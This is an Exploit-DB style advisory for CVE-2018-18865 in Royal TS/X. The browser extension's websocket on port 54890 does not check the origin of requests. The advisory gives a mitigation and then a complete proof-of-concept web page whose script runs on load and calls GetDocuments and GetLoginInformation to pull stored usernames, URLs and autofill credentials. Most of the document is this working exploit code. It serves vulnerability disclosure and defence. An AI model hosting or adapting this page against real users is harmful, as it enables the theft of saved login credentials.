Royal TS/X - Information Disclosure

vendor:

Royal TS/X

by:

Jakub Palaczynski

8.1

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Royal TS/X

Affected Version From: Royal TS v5 Beta

Affected Version To: Royal TSX v4 Beta

Patch Exists: YES

Related CWE: CVE-2018-18865

CPE: a:code4ward:royal_tsx

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Royal TS/X – Information Disclosure

Any third party web application can steal credentials created in Royal TS/X when browser extension is enabled. Browser extension communicates using websockets (default TCP port 54890) and websockets do not use any validation to verify origin of the request.

Mitigation:

Disable the browser extension or use a firewall to block the websocket communication.

Source

Exploit-DB raw data:

<!--
Title: Royal TS/X - Information Disclosure
Author: Jakub Palaczynski
Date: 10. July 2018
CVE: CVE-2018-18865

Affected product:
=============

Royal TS/X < Royal TS v5 Beta / Royal TSX v4 Beta


Vulnerability - Information Disclosure:
=============================

Any third party web application can steal credentials created in Royal TS/X
when browser extension is enabled.
Browser extension communicates using websockets (default TCP port 54890)
and websockets do not use any validation to verify origin of the request.


PoC website:
==========
-->

  <!DOCTYPE html>
  <meta charset="utf-8" />
  <title>RoyalTS/X Exploit</title>
  <script language="javascript" type="text/javascript">

  var wsUri = "ws://127.0.0.1:54890/";
  var output;

  function init()
  {
    output = document.getElementById("output");
    testWebSocket();
  }

  function testWebSocket()
  {
writeToScreen("Let's retrieve some data...");
    websocket = new WebSocket(wsUri);
    websocket.onopen = function(evt) {
onOpen(evt,"{\"Command\":\"GetDocuments\",\"Arguments\":null,\"PluginVersion\":\"1.0.0.0\",\"RequestId\":\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"}")
};
    websocket.onclose = function(evt) { onClose(evt) };
    websocket.onmessage = function(evt) { onMessage(evt) };
    websocket.onerror = function(evt) { onError(evt) };
  }

  function onOpen(evt,message)
  {
    doSend(message);
  }

  function onClose(evt)
  {
  }

  function onMessage(evt)
  {
var obj = JSON.parse(evt.data);
if (obj['Command'] == "GetDocuments") {
for (var x in obj['ResponseData']){
writeToScreen("Name: " + obj['ResponseData'][x]['Name']);
writeToScreen("Unlocked: " + obj['ResponseData'][x]['Unlocked']);
for (var y in obj['ResponseData'][x]['Credentials']){
writeToScreen("Username: " +
obj['ResponseData'][x]['Credentials'][y]['UserName']);
writeToScreen("URL: " + obj['ResponseData'][x]['Credentials'][y]['URL']);
if (obj['ResponseData'][x]['Unlocked'] == true){
websocket.close();
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) {
onOpen(evt,"{\"Command\":\"GetLoginInformation\",\"Arguments\":{\"CredentialId\":\""
+ obj['ResponseData'][x]['Credentials'][y]['ID'] +
"\"},\"PluginVersion\":\"1.0.0.0\",\"RequestId\":\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"}")
};
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}
}
}
}
else {
if (obj['Command'] == "GetLoginInformation") {
var obj = JSON.parse(evt.data);
writeToScreen("AutoFill Data: " + atob(obj['ResponseData']));
}
}
  }

  function onError(evt)
  {
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
  }

  function doSend(message)
  {
    websocket.send(message);
  }

  function writeToScreen(message)
  {
    var pre = document.createElement("p");
    pre.style.wordWrap = "break-word";
    pre.innerHTML = message;
    output.appendChild(pre);
  }

  window.addEventListener("load", init, false);

  </script>

  <h2>RoyalTS/X Exploit</h2>

  <div id="output"></div>

<!--
Contact:
=======

Jakub[dot]Palaczynski[at]gmail[dot]com
-->